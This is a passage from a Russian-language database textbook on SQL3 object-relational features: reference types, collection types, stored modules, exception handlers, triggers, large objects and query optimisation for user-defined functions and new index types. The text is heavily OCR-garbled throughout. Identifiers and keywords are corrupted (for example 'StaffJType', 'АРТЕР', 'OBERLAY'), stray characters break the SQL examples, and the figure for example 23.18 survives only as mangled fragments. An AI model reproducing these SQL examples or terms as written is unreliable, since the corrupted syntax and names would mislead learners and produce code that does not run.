Ссылочный тип обозначается ключевым словом REF и в базовой таблице указывается с помощью ключевого слова VALUES ARE SYSTEM GENERATED. В ОРСУБД Illustra (которая теперь является частью СУБД Informix) OID-идентификатор представляет собой 64-битный уникальный идентификатор, для которого гарантируется неизменность. Этот OID-идентификатор реализован на основе 24-битного табличного идентификатора и 40-битного строкового идентификатора внутри таблицы.
данных ссылочного типа'
Расширить определенный пользователем тип StaffJType сведениями о ближайшем родственнике (next_of_kin), которые имеют тип PersonJPype.
CREATE TABLE person OF PERSONJTYPE (
OldREF(PERSON JTYPE) VALUES ARE SYSTEM GENERATED);
CREATE TYPE staff type UNDER person_type AS (
6ПОVARCHAR(5)NOTNULL UNIQUE,
positionVARCHAR(IO)NOTNULL,
salaryDECIMAL(7,2)
ninCHAR(9)NOTNULL,
next-Of-kin REF(PERSON-TYPE),
bnoVARCHAR(3)NOTNULL)
NOT FINAL;
CREATE TABLE staff OF STAFF-TYPE (
PRIMARY KEY 8П0)?
К сожалению, дополнительная сложность в данном случае заключается в том, что ссылочный тип REF (PERSON-TYPE) может ссылаться на строку в любой таблице, имеющей строки типа Personjrype. Например, на основе типа Person_Type можно создать другую таблицу (another_person_table).
CREATE TABLE another_person table OF PERSON-TYPE (
oldREF(PERSON_TYPE) VALUES ARE SYSTEM GENERATED);
Для ограничения ссылок только заданной таблицей можно использовать предложение SCOPE.
CREATE TABLE staff OF STAFFJTYPE (
PRIMARY KEY sno,
SCOPE FOR next_of_kin IS person);
Ссылки могут использоваться в выражениях пути, которые позволяют перемещаться по объектным ссылкам для перехода от одной строки к другой. Для перемещения по ссылке используется оператор разыменования (->).
Пример 23.10. Использование оператора разыменовав
Найти имя и номер телефона ближайшего родственника Джона Уайта (John White).
SELECT s.next_of_kin->fname, s.next_of_kin->lname, s.next_ofJdn->tel_no FROM staff s"
WHERE s.lname='White' and s.fname='John';
В команде SELECT обычный способ доступа к столбцу таблицы выглядит так: s.Next of Kin. Однако в этом конкретном случае столбец является ссылкой на строку типа Person Type, а потому для доступа к столбцам разыменованной таблицы необходимо использовать оператор разыменования. В стандарте SQL2 для этого запроса потребуется создать соединение или вложенный подзапрос.
Хотя ссылочные типы аналогичны внешним ключам, все же они имеют существенное отличие. В стандарте SQL3 целостность ссылок поддерживается только с помощью определения ограничения целостности, указанного как часть определения таблицы. Сами по себе ссылочные типы не обеспечивают целостности ссылок. Таким образом, ссылочный тип в языке SQL не следует путать с ссылочным типом, который предусмотрен в объектной модели ODMG. В модели ODMG OID-идентификаторы используются для моделирования связей между типами, и целостность ссылок устанавливается автоматически, как уже указывалось в разделе 22.8.3.
Типы-коллекции
Коллекции — это типы-конструкторы, которые используются для определения коллекций других типов. Коллекции используются для хранения многих выражений в одном столбце таблицы и могут приводить к образованию вложенных таблиц, в которых столбец одной таблицы может содержать другую таблицу. В результате одна таблица может представлять многоуровневую структуру основных/вспомогательных сведений. Таким образом, коллекции позволяют более гибко выполнять проектирование физической структуры базы данных.
В стандарте SQL3 вводится параметрический тип-коллекция ARRAY, а в стандарте SQL4 предусматривается дополнительный ввод параметрических типов-коллекций LIST, SET, и MULTISET. В любом случае параметр, который называется элементом типа, может иметь предопределенный тип, UDT-тип, тип-строку или другой тип- коллекцию, но не может быть ссылочным типом или UDT-типом, содержащим ссылочный тип. Кроме того, каждая коллекция должна быть однородной, т.е. все ее элементы должны иметь одинаковый тип или, по крайней мере, происходить из иерархии одного типа. Типы-коллекции имеют следующее смысловое значение:
ARRAY (массив) — одномерный массив с заданным максимальным количеством элементов;
LIST (список) — упорядоченная коллекция, в которой допускается наличие дубликатов;
SET (множество) — неупорядоченная коллекция, в которой не допускается наличие дубликатов;
MULTISET (мультимножество) — неупорядоченная коллекция, в которой допускается наличие дубликатов.
Эти типы аналогичны типам, определенным в стандарте ODMG 2.0 (см. раздел 22.8.3), если имя Вад заменить используемым в SQL именем MULTISET. Для этих коллекций предусмотрены следующие операции.
Два множества SET используются как операнды и возвращают результат типа SET.
Два мультимножества MULTISET используются как операнды и возвращают результат типа MULTISET.
Мультимножество MULTISET используется как операнд и возвращает результат типа SET.
Любая коллекция используется как операнд и возвращает результат с кардинальным числом этой коллекции.
Два списка LIST используются как операнды и возвращают результат типа LIST.
Два списка LIST используются как операнды и возвращают результат типа INTEGER.
Список LIST и одно или два целых числа используются как операнды и возвращают результат типа LIST.
Массив ARRAY и одно целое число используются как операнды и возвращают элемент массива ARRAY.
Два массива ARRAY используются как операнды и выполняют конкатенацию этих двух массивов в единый массив ARRAY в указанном порядке.
Пример 23.11. Использование коллекции типа SET■
, Расширить модель понятия “ближайший родственник” (nextofjkin) в таблице ; Staff с целью хранения сведений о нескольких родственниках.-
К сожалению, как уже упоминалось выше, в настоящее время стандарт SQL3 не по- \ зволяет включать в множество тип данных REF. Для преодоления этого препятствия
I можно было бы следующим образом изменить определение столбца Next_of_Kin:
: next of kin SET(PERSON TYPE)
: В таком случае запрос из примера 23.10 будет выглядеть иначе:
: SELECT n.fname, n.lname, n.tel no
; FROM staff s, TABLE(s.next of kin) n
• WHERE s.lname='White' and s.fname='John'
J Обратите внимание на то, что в предложении FROM в качестве ссылки на таблицу
; можно использовать поле со значениями-множествами S.Next_of_Kin.:
Пример 23.12. Использование функции COUNT при работе с ' коллекцией типа SET.
: Определить количество ближайших родственников для каждого сотрудника.
SELECT sno, fnameг iname, COUNT(next of kin),
I FROM staff;
i Так как Next_of_Kin является полем, имеющим типа множества, то для определе- I ния искомого значения можно использовать обобщающую функцию COUNT.
Пример 23.13. Использование коллекции типа ARRAY
Если имеет место ограничение необходимости сохранения сведений только о трех ближайших родственниках, то этот столбец можно реализовать в виде данных типа ARRAY.
next of kin PERSON TYPE ARRAY(3)
В этом случае сокращенная версия запроса из примера 23.10, предусматривающего извлечение данных только о первом ближайшем родственнике, будет выглядеть так:
- SELECT s.next of kin[l].fname, s.next of kin[l].Iname, s.next of kin[1].tel no FROM staff s WHERE s.lname='White' and s.fname='John'
Обратите внимание на то, что массив нельзя использовать в качестве ссылки на ; таблицу, а потому в списке параметров команды SELECT необходимо использовать его полную форму записи.
Перманентные хранимые модули
Для обеспечения вычислительной полноты языка в стандарте SQL3 введено несколько новых типов команд, поэтому методы объекта (т.е. его поведение) могут храниться (и выполняться) внутри базы данных как SQL-команды (ISO, 1998, б). Команды могут быть сгруппированы вместе в одной составной команде (блоке) с ее собственными локальными переменными. Ниже перечислены некоторые дополнительные команды стандарта SQL3.
Команда присвоения, позволяющая присваивать результат выполнения некоторой SQL-команды локальной переменной, столбцу или атрибуту UDT- типа, например, так, как показано ниже.
DECLARE b BOOLEAN;
DECLARE staffjnember STAFF_TYPE; b=staf f_member»is_manager;
Команда IF ... THEN ... ELSE ... END IF, позволяющая выполнять обработку по заданным условиям. Пример ее использования имеется в методе Is_Manager из примера 23.3.
Команда CASE, которая позволяет сделать выбор пути выполнения на основе набора альтернативных вариантов так, как показано ниже.
CASE lowercase(х)
WHEN 'a' WHEN 'b'
WHEN 'default'
THEN SET x=l;
THEN SET x=2;
SET y=0;
THEN SET x=3;
END CASE;
Набор команд (FOR, WHILE и REPEAT), позволяющих организовать повторное выполнение блока SQL-команд. Примеры их использования приведены ниже.
FOR х, у AS SELECT a, b FROM tablel WHERE searchjxmdition DO
END FOR;
WHILE b <> TRUE DO
END WHILE; REPEAT
UNTIL b <> TRUE
END REPEAT;
Команда CALL, которая позволяет вызывать процедуры, а также команда RETURN, с помощью которой некоторое SQL-выражение может использоваться для вычисления возвращаемого значения SQL-функции.
Обработка исключительных ситуаций
Язык SQL/PSM (SQL Persistent Stored Module) дополнительно имеет средства обработки исключительных ситуаций и условий завершения. Обработка исключительных ситуаций построена на предварительном определении обработчика посредством указания его типа, исключительной ситуации и условий завершения, которые предполагается им обрабатывать, а также действий, которые предполагается для этого предпринять (SQL-процедура). Обработка исключительных ситуаций также позволяет явно сообщать о происходящих исключительных ситуациях и полученных условиях завершения с помощью команд SIGNAL и RESIGNAL.
Обработчик соответствующей исключительной ситуации или условий завершения может быть объявлен с помощью команды DECLARE ... HANDLER.
DECLARE CONTINUE | EXIT | UNDO HANDLER
FOR SQLSTATE sqlstate_value|condition_name|SQLEXCEPTION| SQLWARNING|NOT FOUND handler_action;
Имя условия и соответствующее значение SQLSTATE (необязательно) может быть объявлено с помощью следующего синтаксиса:
DECLARE condition_name CONDITION
[FOR SQLSTATE sql s ta te__value ]
Для выдачи однократного или повторяющегося сообщения об исключительной ситуации следует применять такие две команды:
SIGNAL sqlstate_value;
RESIGNAL sqlstate_value;
При выполнении составной команды с объявлением обработчика создается обработчик для ассоциативных условий. Обработчик активизируется в случае, когда он в наибольшей степени соответствует условию, инициированному SQL-командой. Если обработчик включает оператор CONTINUE, то в таком случае при его активизации предусмотренные в нем действия будут выполнены, а управление возвращено составной команде. Если обработчик имеет тип EXIT, то после исполнения предусмотренных в обработчике действий управление не будет возвращено составной команде. Если обработчик имеет тип UNDO, то при его выполнении сначала осуществляется откат всех изменений, выполненных в составной команде, а затем выполняются действия, предусмотренные в самом обработчике, после чего управление возвращается составной команде. Если обработчик завершает работу без предоставления сведений об успешном завершении, то в таком случае неявно выполняется повторная выдача сообщения об исключительной ситуации, после чего определяется наличие другого обработчика, способного разрешить возникшую ситуацию.
Триггеры
Триггер — это SQL-команда (составная), которая автоматически выполняется СУБД в качестве побочного эффекта от внесения некоторого изменения в указанной таблице. Триггер подобен SQL-подпрограмме тем, что представляет собой именованный SQL-блок с разделами объявления, выполнения и обработки условий. Однако, в отличие от обычной подпрограммы, триггер выполняется неявно в каждом \случае возникновения триггерного события, к тому же он не имеет аргументов. Приведение триггера в действие иногда называют запуском (firing) триггера. Триггеры могут использоваться для достижения следующих целей:
проверки корректности введенных данных и поверки выполнения сложных ограничений целостности данных, которые трудно, если вообще возможно, поддерживать с помощью ограничений целостности, установленных для таблицы;
выдачи предупреждений (например, с помощью электронной почты), которые напоминают о необходимости выполнить некоторые действия при обновлении таблицы, выполненном определенным образом;
накопления аудиторской информации посредством фиксации сведений о внесенных изменениях и тех лицах, которые их выполнили;
поддержки репликации (см. раздел 20.6).
Основной формат команды CREATE TRIGGER показан ниже.
CREATE TRIGGER имя_триггера
BEFORE|АРТЕР<триггерное_событие> ON <имя_таблицы>
[REFERENCING <список_старых или_новых_псевдонимов>]
[FOR EACH {ROW|STATEMANT}] ~.
[WHEN(условие_триггера)]•
<тело триггера>
Триггерные события включают вставку, удаление и обновление строк в таблице. В последнем случае для триггерного события можно также указать конкретные имена столбцов таблицы. Время запуска триггера определяется с помощью ключевых слов BEFORE и AFTER: при указании ключевого слова BEFORE триггер запускается до выполнения связанных с ним событий, а при указании ключевого слова AFTER — после их выполнения. Выполняемые триггером действия задаются SQL-командой, которая может быть выполнена одним из двух перечисленных ниже способов:
для каждой строки (FOR EACH ROW), охваченной данным событием (так называемый триггер на уровне строки);
только один раз для каждого события (FOR EACH STATEMENT), именно этот способ используется по умолчанию (так называемый триггер на уровне команды).
Обозначение <список_старых_или_новых_псевдонимов> относится к таким компонентам:
старой или новой строке (OLD/NEW или OLD ROW/NEW ROW), если используется триггер на уровне строки;
старой или новой таблице (OLD TABLE/NEW TABLE), если используется триггер AFTER.
Ясно, что старые значения не применимы для событий вставки, а новые — для событий удаления. Тело триггера не может содержать следующие команды:
SQL-команды для обработки транзакций, например COMMIT и ROLLBACK;
SQL-команды для организации подключения, например CONNECT и DISCONNECT;
SQL-команды для определения схемы и управления ею, например команды создания или удаления таблиц, пользовательских типов или других триггеров;
SQL-команды организации сеанса, например SET SESSION CHARACTERISTICS, SET ROLE, SET TIME ZONE.
Поскольку для таблицы может быть определено несколько триггеров, то большое значение имеет порядок их запуска. Запуск триггеров происходит по мере возникновения триггерных событий (INSERT, UPDATE, DELETE) в следующем порядке.
Исполнение табличного триггера BEFORE на уровне команды.
Для каждой строки, охваченной данной командой:
исполнение любого триггера BEFORE на уровне строки;
исполнение данной команды;
исполнение любого триггера AFTER на уровне строки.
Исполнение табличного триггера AFTER на уровне команды.
Пример 23.14. Использование триггера AFTER INSERT'
Создайте набор записей почтовой рассылки для каждой новой записи таблицы Property_for_Rent. Для этого примера предположим, что существует таблица Mailshot (список почтовой рассылки), в которой хранятся сведения о потенциальных арендаторах и объектах недвижимости. CREATE TRIGGER insert mailshot table AFTER INSERT ON property for rent REFERENCING NEW ROW AS pfr BEGIN INSERT INTO mailshot
(SELECT r.fname, r.lname, r.address, r.max rent, pfr.pno, pfr.street, pfr.area, pfr.city, pfr.pcode, pfr.type, pfr.rooms, pfr.rent FROM renter r WHERE r.bno=pfr.bno AND
(r.pref type= prf.type AND r.max rent<=pfr.rent)) END;
Этот триггер выполняется после вставки новой записи. Предложение FOR EACH опущено, т.е. по умолчанию используется предложение FOR' EACH STATEMENT, так как команда INSERT вставляет за один раз только одну строку. Тело триггера образует команда INSERT, построенная на подзапросе, который находит все записи со сведениями о подходящих случаю арендаторах.
Пример 23.15. Использование триггера AFTER INSERT с условием
Создайте триггер, который модифицирует все текущие записи почтовой рассылки, если изменяется арендная плата объекта недвижимости.
CREATE TRIGGER update mailshot table
AFTER UPDATE OF rent ON property for rent REFERENCING NEW ROW AS pfr FOR EACH ROW BEGIN DELETE FROM mailshot WHERE max rent>pfr.rent; UPDATE mailshot SET rent=pfr.rent WHERE pno=pfr.pno;
END;
Этот триггер выполняется после обновления поля со значением арендной платы в строке таблицы Property_for__Rent. Здесь предложение FOR EACH ROW указано, поскольку с помощью одной команды UPDATE может быть изменено значение арендной платы сразу в нескольких записях, например из-за возрастания стоимости жизни. Тело триггера содержит две SQL-команды: DELETE — для удаления тех записей почтовой рассылки, в которых арендная плата выходит за рамки, установленные потенциальным арендатором, и UPDATE — для внесения новой арендной платы во всех сохранившихся записях, относящихся к данному объекту недвижимости.
При условии правильного использования триггеры могут стать очень мощным механизмом. Основное преимущество триггеров заключается в том, что стандартные функции могут сохраняться внутри базы данных и согласованно активизироваться при каждом обновлении ее данных. Это может существенно упростить приложения. Тем не менее следует упомянуть и о присущих триггерам недостатках.
Сложность. При перемещении некоторых функций в базу данных усложняются задачи ее проектирования, реализации и администрирования.
Скрытая функциональность. Перемещение некоторых функций в базу данных и сохранение их в виде одного или нескольких триггеров может привести к сокрытию от пользователя некоторых функциональных возможностей. Хотя это в некоторой степени упрощает работу пользователя, но, к сожалению, может привести к появлению незапланированных, потенциально нежелательных и вредных побочных эффектов, поскольку в этом случае пользователь не может контролировать некоторые процессы, происходящие в базе данных. <
Влияние на производительность. Перед выполнением каждой команды по изменению состояния базы данных СУБД должна будет проверить триггерное условие с целью выяснения необходимости запуска триггера для этой команды. Данная операция сказывается на общей производительности СУБД. Очевидно, что при возрастании количества триггеров накладные расходы, связанные с такими вычислениями, также возрастают. В моменты пиковой нагрузки они могут вызвать заметное снижение производительности системы.
Привилегии
Для создания триггера пользователь должен обладать привилегией TRIGGER для заданной таблицы, привилегией SELECT для любых таблиц, указанных в триггерном условии в предложении WHEN, а также привилегиями для выполнения SQL-команд в теле триггера.
Большие объекты
Большим объектом (Large Object) называется поле таблицы, которое содержит большое количество данных, например большой текстовый или графический файл. В стандарте SQL3 предусмотрены три типа больших объектов.
Большой бинарный объект, или BLOB-объект (Binary Large Object), т.е. двоичная строка без указания таблицы символов или схемы упорядочения.
Большой символьный объект, или CLOB-объект (Character Large Object), и большой объект национальных символов, или NCLOB-объект (National Character Large Object), которые содержат символьные строки.
В стандарте SQL3 большой объект несколько отличается от BLOB-объектов, поддерживаемых во многих существующих СУБД. В подобных системах BLOB-объект является неинтерпретируемым потоком байтов и СУБД не обладает никакими сведениями о содержании BLOB-объекта или его внутренней структуре. Это позволяет предохранить СУБД от выполнения запросов и операций с типами данных, которые обладают богатой и сложной структурой, например изображениями, видеоматериалами, документами текстовых редакторов или Web-страницами. В общем случае требуется, чтобы весь BLOB-объект целиком пересылался в сети от сервера СУБД к клиенту или обратно до выполнения любой обработки. В стандарте SQL3, наоборот, допускается выполнение некоторых операций с большими объектами со стороны сервера СУБД.
Для работы с большими символьными объектами допускается использование следующих стандартных операций с символьными строками, которые возвращают символьные строки.
Оператор конкатенации (<строка1>| |<строка2>), который возвращает символьную строку, образованную соединением символьных строк-операндов в указанном порядке.
Функция извлечения символьной подстроки, SUBSTRING(<строка> FROM <начальная_позиция> FOR <длина>), которая возвращает подстроку определенной длины, извлеченную из строки с заданной начальной позиции.
Символьная функция перекрытия строк, OBERLAY(<CTpoKal> PLACING <строка2> FROM <началъная_позиция> FOR <длина>), которая заменяет подстроку заданной длины из строки <строка!> с указанной начальной позиции на строку <строка2>. Эта операция эквивалентна следующей операции: SUBSTRING(<строка!> FROM 1 FOR <длина-1>) || <строка2> || SUBSTRING(<строка!> FROM <начальная_позиция + длина>).
Функции свертки, UPPER(<строка>) и LOWER(<строка>), которые преобразуют все символы строки в прописные или строчные символы соответственно.
Функции обрезки, TRIM([LEADING|TRAILING|BOTH <строка!> FROM] <строка2>), возвращает строку <строка2>, в которой удалены первые (LEADING) или последние (TRAILING), или и те и другие (BOTH) символы строки <строка!>. Если не указано предложение FROM, то из строки <строка2> будут удалены все ведущие и хвостовые пробелы.
Функция вычисления длины строки, CHAR_LENGTH(<cTpoKa>), которая возвращает длину указанной строки.
Функция определения расположения, POSITION(<строка1> IN <строка2>), которая возвращает начальную позицию строки <строка!> в строке <строка2>.
Однако CLOB-строки нельзя использовать в большинстве операторов сравнения, хотя они могут использоваться вместе с предикатом LIKE, а также с предикатами сравнения или квантифицируемого сравнения, в которых используются знаки равенства (=) или неравенства (о). Из-за этих ограничений на столбец, определенный с типом CLOB-строки, нельзя ссылаться в таких местах, как фраза GROUP BY, фраза ORDER BY, в определениях уникальности или ограничений целостности,-^ столбце соединения, в одном из операторов для работы с множествами (UNION, INTERSECT и EXCEPT).
BLOB-строка определяется как последовательность октетов. Все BLOB-строки могут сравниваться на основе сравнения октетов с одинаковым порядковым номером. Ниже перечислены некоторые операторы для работы с BLOB-строками, которые выполняют функции, аналогичные перечисленным выше.
Оператор конкатенации BLOB-строк.
Функция извлечения подстроки из BLOB-строки.
Оверлейная функция для BLOB-строки.
Функция обрезки для BLOB-строки.
Кроме того, для работы с BLOB-строками могут использоваться функции BLOB_LENGTH и POSITION, а также предикат LIKE.
ример23.16.Использование символьных и бинарных больших объектов
Расширьте таблицу Staff за счет вставки в нее резюме и фотографий сотрудников.
ALTER TABLE staff.
ADD COLUMN resume CLOB(50K);
ALTER TABLE staff
. ADD COLUMN picture BLOB(12M);
В таблицу Staff добавлены два новых столбца: resume, для которого задан тип CLOB . длиной до 50 Кбайт, и picture, для которого задан тип BLOB длиной до 12 Мбайт.
Длина большого объекта задается за счет явного указания размера и (по желанию) единицы измерения, т.е. К для килобайт, М для мегабайт и G для гигабайт. Если длина не указана, то по умолчанию она зависит от конкретного способа реализации.
Языки SQL3 и OQL
В разделе 22.8.5 рассматривался язык объектных запросов OQL, предложенный группой ODMG. После ознакомления со стандартом SQL3, описанным в этом разделе, можно заметить, что эти языки очень похожи. С точки зрения конечного пользователя нежелательно, чтобы существовали два разных языка запросов. Вместо этого предпочтительнее было бы создать, по крайней мере, общее ядро (только для чтения) в виде декларативного языка запросов, допуская наличие некоторых его внешних расширений. Как и следовало ожидать, это пожелание стало главной целью объединенной рабочей группы из представителей ХЗН2 и ODMG.
Группа ODMG попыталась в своем стандарте версии 1.2 сделать язык OQL полностью совместимым с SQL-командой SELECT, включая поддержку табличного типа и неопределенных значений (NULL). Однако они обнаружили такие случаи, когда простое определение на языке OQL порождало такие типы-коллекции, которые не соответствовали табличным типам и их частным правилам. Для языка SQL следует решить два основных вопроса. Во-первых, в стандарте SQL3 перманентными могут быть только таблицы, а объекты становятся перманентными только при сохранении их в таблице. Это само по себе не является проблемой, за исключением того факта, что идентичность объекта отображается на расположение таблицы, а не объекта, а потому идентичность объекта потенциально может измениться. Во-вторых, типы- коллекции в стандарте SQL3 (которые, как мы уже убедились, аналогичны типам стандарта ODMG) не могут использоваться в запросах также свободно, как типы стандарта ODMG. В стандарте SQL3 запросы применяются только к таблицам и возвращают результат в виде таблиц, что принуждает пользователей преобразовывать коллекции в таблицы, создавать запросы для таблиц, а затем выполнять обратное преобразование таблиц в коллекции. Одно из возможных решений заключается в расширении домена (области определения) и области значений SQL-запроса коллекциями таким образом, который соответствует семантике языка OQL, но оставляя при этом нетронутыми запросы для таблиц, использующих семантику стандарта SQL2.
23.5. Обработка и оптимизация запросов
В предыдущем разделе были кратко рассмотрены некоторые компоненты будущего стандарта языка SQL, хотя некоторые из них будут отложены до выпуска следующей версии этого стандарта. Они позволяют устранить многие недостатки реляционной модели, указанные в разделе 21.2. К сожалению, в стандарте SQL3 не рассматриваются некоторые аспекты расширяемости, поэтому реализация таких функций, как механизм определения новых индексных структур и предоставления информации о затратах на выполнение пользовательских функций со стороны оптимизатора запросов, может варьироваться в разных продуктах. Отсутствие стандартного способа интеграции программного обеспечения сторонних разработчиков с различными типами ОРСУБД демонстрирует необходимость разработки стандартов для тех компонентов, которые не учтены в стандарте SQL3. В этом разделе на нескольких примерах будет показано, почему эти механизмы имеют очень большое значение для истинных ОРСУБД.
; Перечислить квартиры, которые сдаются в аренду в отделении компании с но: мером 'ВЗ'.
। Можно создать этот запрос на основе функции, имеющей следующее определение:
: CREATE FUNCTION flat types() RETURNS SET(property for rent)
i SELECT * FROM property for rent WHERE type-'Flat'.
; Искомый запрос с использованием этой функции будет выглядеть так, как пока; зано ниже.
' SELECT pno, street, area, city, pcode
; FROM TABLE(flat_types())
WHERE hnn=*RV!
" В этом случае предполагается, что процессор запросов сможет упростить этот запрос за счет выполнения следующей последовательности операций:
SELECT pno, street, area, city, pcode
:FROM TABLE(SELECT * FROM property for_rent WHERE type='Flat')
'. WHERE bno='B3';~
' 2: SELECT pno, street, area, city, pcode
,FROM property_for_rent
:WHERE type='Flat' AND bno='B3';
Если, например, таблица Property^orient имеет индекс типа В-Tree по столбцу Впо, то процессор запросов должен выполнить сканирование индекса по столбцу Впо для эф
; фективного извлечения соответствующих записей, как было показано в разделе 18.4.
Из этого примера следует, что процессор запросов в ОРСУБД должен в случае необходимости уметь упрощать запросы. В данном случае это стало возможным благодаря тому, что пользовательская функция была реализована на языке SQL. Рассмотрим другой случай, когда такая функция определена как внешняя. Как оптимизатор запросов узнает о том, каким образом можно оптимизировать этот запрос? Ответ на этот вопрос может дать расширенный механизм оптимизации запросов. Напомним, как уже говорилось в разделе 23.3.2 при обсуждении расширения Object Management Extension системы INGRES, что в случае определения ADT-типа потребуется подготовить несколько различных подпрограмм, причем некоторые из них предусмотрены специально для использования оптимизатором запросов (см. табл. 23.3).
По аналогичной причине в ОРСУБД Illustra, которая теперь является частью СУБД Informix, при определении (внешней) пользовательской функции требуется предоставить следующую информацию.
А= Вычислительные затраты центрального процессора для организации перехода к функции.
В= Предполагаемая доля (в процентах) байтов в аргументе, которую фактически считывает функция. Этот фактор относится к ситуации, когда функция принимает в качестве аргумента большой объект, но для ее работы ей не обязательно использовать весь этот объект целиком.
С= Вычислительные затраты центрального процессора для каждого чтения байта.
■ Вычислительные затраты центрального процессора при каждом вызове функции определяются по формуле А + С * (В * предполагаемый размер аргумента>), а затраты на выполнение операций ввода/вывода — по формуле (В * предполагаемый размер аргумента>).
Следовательно, в ОРСУБД должна быть предусмотрена возможность предоставления информации для оптимизации выполнения запроса. Проблема в данном случае заключается в том, что пользователю будет достаточно трудно предоставить такие данные. Альтернативный, и более подходящий, способ заключается в том, чтобы ОРСУБД могла сама получить такие сведения, экспериментируя с функциями и объектами разного размера и сложности.
’ Пример 23.18. Потенциально разные эвристические методы ; обработки запросов
\ Найти все свободные объекты недвижимости в районе 'Hyndland', которые рас' полагаются в пределах двух миль от начальной школы и с которыми работает _ инспектор 'Ann Beech'.
SELECT *{
FROM property_for_rent p,staffs:
WHERE p.sno=s.sno AND-
p.near jDiimary_school(p.pcode)<2.0 AND p.area-'Hyndland' AND5
s . fnamA=' Ann' AND s. 1 патпа^йаагЬ '!
Для упрощения этого примера предположим, что имеется внешняя пользовательская функция Near_Primary_School(), которая принимает значение почтового кода и на его основании определяет расстояние до ближайшей начальной школы с помо- < щью внутренней базы данных известных строений (например, жилых, коммерческих, промышленных). Представляя этот запрос в виде дерева реляционной алгеб- : ры (см. раздел 18.3), получим дерево, показанное на рис. 23.3, а. Если теперь ис- ’ пользовать общие эвристические методы обработки запросов, то обычно операции выборки применяются раньше операции декартового произведения, а операции декартового произведения/выборки преобразуются в операцию соединения, как показано на рис. 23.3, б. В данном случае эта стратегия будет не самой лучшей. Если пользовательская функция Near_Primary_School() выполняет большой объем вычислений при каждом ее вызове, то лучше выполнить выборку из таблицы Staff и применить операцию соединения по столбцу Sno предварительно, еще до вызова > этой пользовательской функции. В таком случае можно применить правило ком- ; мутативности соединений для переупорядочения листовых узлов таким образом, чтобы более ограничительная операция выборки выполнялась первой (как внешнее отношение в левостороннем дереве соединения), как показано на рис. 23.3, в. Бо- ; лее того, если план выполнения запроса для операции выборки с предикатом near_primary_school() AND area='Hyndland' оценивается в данном порядке, т.е. слева - направо, без каких-либо индексов или установленных порядков сортировки, то он будет менее эффективен, чем первоначальная выборка по предикату area='Hyndland' с последующей выборкой по предикату near_primary_school(), как ' показано на рис. 23.3, г.
В приведенном выше примере результатом выполнения пользовательской функции near_primary_schooi() будет число с плавающей запятой, которое представляет собой расстояние между объектом недвижимости и ближайшей начальной школой. Альтернативная стратегия повышения производительности этого запроса заключается в создании индекса, но не для самой функции, а на основании результата ее выполнения. Например, в СУБД Illustra можно создать индекс по результатам выполнения этой пользовательской функции с помощью следующей SQL-команды:
CREATE INDEX near_primary_school_index
ON property_for_rent USING В-tree (near_primary_school(pcode))
Теперь всякий раз при вставке новой записи в таблицу Property_for_Rent или обновлении столбца Pcode уже существующей записи ОРСУБД вычислит значение функции near_primary_school () и проиндексирует полученный результат. При удалении записи из таблицы Property_for_Rent ОРСУБД снова вычислит значение функции near_primary_- school() для удаления соответствующей строки индекса. Соответственно при появлении этой пользовательской функции в запросе СУБД Illustra сможет использовать индекс для извлечения записи и таким образом сократить время реакции системы на запрос.
Другая возможная стратегия заключается в вызове пользовательской функции не со стороны сервера РСУБД, а со стороны клиента. Эта стратегия более других подходит в тех случаях, когда объем вычислений в пользовательской функции очень велик, а клиент обладает достаточной вычислительной мощностью и возможностями для выполнения пользовательской функции (иначе говоря, в тех случаях, когда клиентская часть размещается на достаточно мощном компьютере). Это позволяет сократить нагрузку на сервер, а также повысить производительность и пропускную способность всей системы в целом.
°p.nearjx1mary_school()<2.0 л p.afea='Hyndiand'
°5.(пате='Алп' a s.lname-Beech'
P (a)
X
°p вло*з.«ло
s
°p.nearj)nmary_school0<2.0 a p area-Hyndtond'
°t.tname='AnrV л s inamy'Beech' P
S
Puc. 23.3. Различные стратегии обработки запроса из примера 23.18: а) каноническое дерево реляционной алгебры; б) оптимизированное дерево реляционной алгебры с перемещением вниз всех операций выборки; в) оптимизированное дерево реляционной алгебры с перемещением вниз операции выборки только для таблицы Staff; г) оптимизированное дерево реляционной алгебры с разделением предикатов операций выборки в таблице Property_for_Rent
Подобный подход позволяет решить проблему обеспечения безопасности при работе с пользовательской функцией, которую мы еще не обсуждали. Если пользовательская функция вызывает появление некоторой неисправимой ошибки во время ее выполнения, а код пользовательской функции скомпонован с ОРСУБД, то такая ошибка может вызвать сбой сервера. Ясно, что в ОРСУБД должны быть предусмотрены соответствующие средства защиты от возникновения подобных ситуаций. Один из подходов заключается в том, чтобы создавать все пользовательские функции на таких интерпретируемых языках, как SQL или Java. Однако, как мы уже видели, в стандарте SQL3 допускается использование внешней подпрограммы на языке высокого уровня, например C/C++, которая вызывается как пользовательская функция. В этом случае альтернативный подход заключается в запуске пользовательской функции в адресном пространстве, отличном от адресного пространства сервера ОРСУБД, а для организации взаимодействия пользовательской функции и сервера следует использовать некоторый вариант взаимодействия процессов. В этом случае, если пользовательская функция во время ее выполнения вызовет появление неисправимой ошибки, то это приведет к сбою только процесса самой пользовательской функции.
23.5.1. Новые типы индексов
В приведенном выше примере мы видели, что в ОРСУБД допускается вычисление и индексирование результатов выполнения пользовательской функции, которая возвращает скалярные данные (числового и символьного типов). В традиционных реляционных СУБД для ускорения доступа к скалярным данным используются индексы
в виде В-дерева (см. приложение А). Однако В-дерево является одномерным способом доступа, что не подходит для организации доступа к многомерным данным, которые встречаются в геоинформационных системах, системах телеметрии и обработки изображений. Учитывая способность ОРСУБД определять сложные типы данных, для эффективного доступа к ним желательно использовать специализированные индексные структуры. В некоторых ОРСУБД для этого предпринимаются попытки поддержки дополнительных типов индексов, перечисленных ниже.
Универсальные В-деревья, позволяющие создавать индексы типа В-дерева для любых типов данных, а не только для буквенно-цифровых данных.
Квадро-деревья (Finkel and Bentley, 1974).
K-D-B-деревья (Robinson, 1981).
R-деревья (region trees), предназначенные для быстрого доступа к двумерным и трехмерным данным (Gutman, 1984).
Решеточные деревья (Nievergelt et al., 1984).
D-деревья, предназначенные для поддержки текстов.
Механизм подключения любой определенной пользователем индексной структуры обеспечивает наивысший уровень гибкости. Для этого в РСУБД должен быть опубликован интерфейс метода доступа, что позволит пользователям создавать их собственные методы доступа, наиболее подходящие для достижения их целей. Хотя это кажется достаточно очевидным, но все же следует напомнить, что программист, отвечающий за создание метода доступа, должен учитывать такие механизмы СУБД, как блокировка, восстановление и управление страницами памяти.
